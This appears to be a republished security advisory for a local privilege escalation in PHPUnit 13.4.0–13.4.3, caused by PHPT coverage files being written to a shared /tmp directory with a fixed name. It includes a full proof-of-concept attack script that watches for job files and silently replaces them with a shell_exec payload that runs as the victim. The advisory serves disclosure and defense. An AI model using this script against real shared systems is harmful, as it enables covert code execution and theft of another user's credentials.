
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 13.4.0, < 13.4.4
Patched in 13.4.4
Details
When PHPT tests are run with code coverage, PHPUnit 13.4.0 to 13.4.3 writes the code of each PHPT test to a directory with a fixed name below the operating system's path used for temporary files, for instance /tmp/phpunit-phpt on Linux, and executes it from there. PHPUnit uses this directory even when it was created by another user.
On a system where the path used for temporary files is shared between users, another local user can create this directory before the developer runs PHPUnit, replace the code of a PHPT test before it is executed, and thereby execute arbitrary code with the privileges of the developer. The test still passes and the code coverage report is complete, so the attack is not visible.
The impact is full code execution as the user who runs PHPUnit. The likelihood is low: the attacker needs an account on the same system and must create the directory before the developer runs PHPT tests with code coverage. macOS and Windows use per-user temporary directories by default and are not affected in their default configuration. PHPUnit 12.5 and earlier are not affected.
When code coverage is collected for a PHPT test, PHPUnit writes two temporary files: a .php file with the code of the PHPT test (the "job" file), which the child process executes, and a .coverage file, to which the child process writes the code coverage data it collected.
Since PHPUnit 13.4.0, these files are created in a directory with a fixed name:
TestCase::coverageFilesDirectory() returns sys_get_temp_dir() . '/phpunit-phpt'phpunit_phpt_<random>.php and phpunit_phpt_<random>.coverage in this directoryBefore a PHPT test is run with code coverage, this directory is created using Filesystem::createDirectory(). Filesystem::createDirectory() returns true when the directory already exists, without checking its owner or its permissions. When it does not exist, it is created with mode 0777 (subject to the umask).
Renderer::renderForCoverage() then writes the job file using file_put_contents(). The child process loads Composer's autoloader, the bootstrap script, and the code coverage driver, and then executes the job file using require.
When another user created the directory, that user owns it. The owner of a directory can list its contents and rename, delete, or replace every file in it, regardless of who owns the file. The directory does not have the sticky bit set, so protections such as Linux's fs.protected_regular and fs.protected_symlinks do not apply either. The random part of the file names therefore does not prevent the attack: the attacker waits for the job file to appear, renames it, and puts a file with their own code in its place. The attacker's code can then execute the original job file, so that the test passes and the code coverage report is complete.
The .coverage file can be replaced in the same way. TestCase::cleanupForCoverage() only allows objects of PHPUnit's class for raw code coverage data to be unserialized from it, so this only allows the falsification of code coverage data.
After the test, PHPUnit deletes both files, but not the directory. Once PHPUnit has created the directory for the developer, other users cannot write to it, unless the developer's umask allows this.
PHPUnit 12.5 and earlier are not affected: these versions write the temporary files next to the PHPT test file.
PHPUnit 13.4.4 creates the directory for the temporary files of PHPT tests with an unpredictable name and with permissions that only allow the current user to access it. A directory that already exists is not used.
The following steps reproduce the issue on a Linux system with two users, alice (the developer) and mallory (the attacker), that share /tmp. They require PHP 8.4.1 or later with the posix extension and a code coverage driver (PCOV or Xdebug) as well as Composer.
As root, create the two users and make sure that /tmp has its default permissions (1777) and that /tmp/phpunit-phpt does not exist:
useradd -m alice
useradd -m mallory
ls -ld /tmp
rm -rf /tmp/phpunit-phpt
As alice, create a project with a PHPT test and a source file to collect code coverage for:
mkdir -p ~/project/src ~/project/tests
cd ~/project
composer require --dev phpunit/phpunit:13.4.3
~/project/src/Greeter.php:
<?php declare(strict_types=1);
final class Greeter
{
public function greet(): string
{
return 'ok';
}
}
~/project/tests/greeter.phpt:
--TEST--
PHPT test that is run with code coverage
--FILE--
<?php declare(strict_types=1);
require __DIR__ . '/../src/Greeter.php';
print (new Greeter)->greet();
--EXPECT--
ok
~/project/phpunit.xml:
<?xml version="1.0" encoding="UTF-8"?>
<phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd">
<source>
<include>
<directory>src</directory>
</include>
</source>
</phpunit>
As mallory, save the following script as ~/attack.php and run it using php ~/attack.php. It creates /tmp/phpunit-phpt, waits for job files to appear in it, and replaces each of them with code that records the identity of the user that executes it and then executes the original job file:
<?php declare(strict_types=1);
$directory = '/tmp/phpunit-phpt';
if (!@mkdir($directory)) {
exit($directory . ' already exists' . PHP_EOL);
}
chmod($directory, 0777);
$payload = '<?php file_put_contents(__DIR__ . "/proof.txt", shell_exec("id"), FILE_APPEND); require __FILE__ . ".orig";' . PHP_EOL;
$replaced = [];
while (true) {
foreach (glob($directory . '/phpunit_phpt_*.php') as $job) {
if (isset($replaced[$job])) {
continue;
}
$replaced[$job] = true;
file_put_contents($directory . '/payload.tmp', $payload);
rename($job, $job . '.orig');
rename($directory . '/payload.tmp', $job);
print 'Replaced ' . $job . PHP_EOL;
}
usleep(1000);
}
As alice, run the PHPT test with code coverage (when Xdebug is used, prefix the command with XDEBUG_MODE=coverage):
cd ~/project
vendor/bin/phpunit --coverage-text tests/greeter.phpt
PHPUnit reports OK (1 test, 1 assertion), and the code coverage report shows that Greeter::greet() is covered. Nothing in the output indicates that the code of the test was replaced.
Check which user executed the code that mallory put in place:
cat /tmp/phpunit-phpt/proof.txt
The file is owned by alice and contains the output of id for alice, for instance:
uid=1000(alice) gid=1000(alice) groups=1000(alice)
This is a local privilege escalation (CWE-379: Creation of Temporary File in Directory with Incorrect Permissions). A local user can execute arbitrary code with the privileges of another user who runs PHPT tests with code coverage. This gives the attacker access to everything the developer can access, for instance source code, credentials, and SSH keys.
Affected are users of PHPUnit 13.4.0 to 13.4.3 when all of the following apply:
sys_get_temp_dir()) is shared between users. This is the case on Linux and other Unix-like systems with a shared /tmp, unless per-user temporary directories are used, for instance through systemd's PrivateTmp, pam_namespace, or a per-user TMPDIR. On macOS and Windows, the path used for temporary files is specific to the user by defaultSystems on which no other user, including system accounts that run services, can create files in the path used for temporary files are not affected. This is typically the case for a container or an ephemeral CI runner that is used by a single user.
EPSS, exploit probability
Low0.11%
estimated chance of real-world exploitation in the next 30 days, higher than 1.4% of every CVE FIRST.org scores
Refreshed 10/31/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.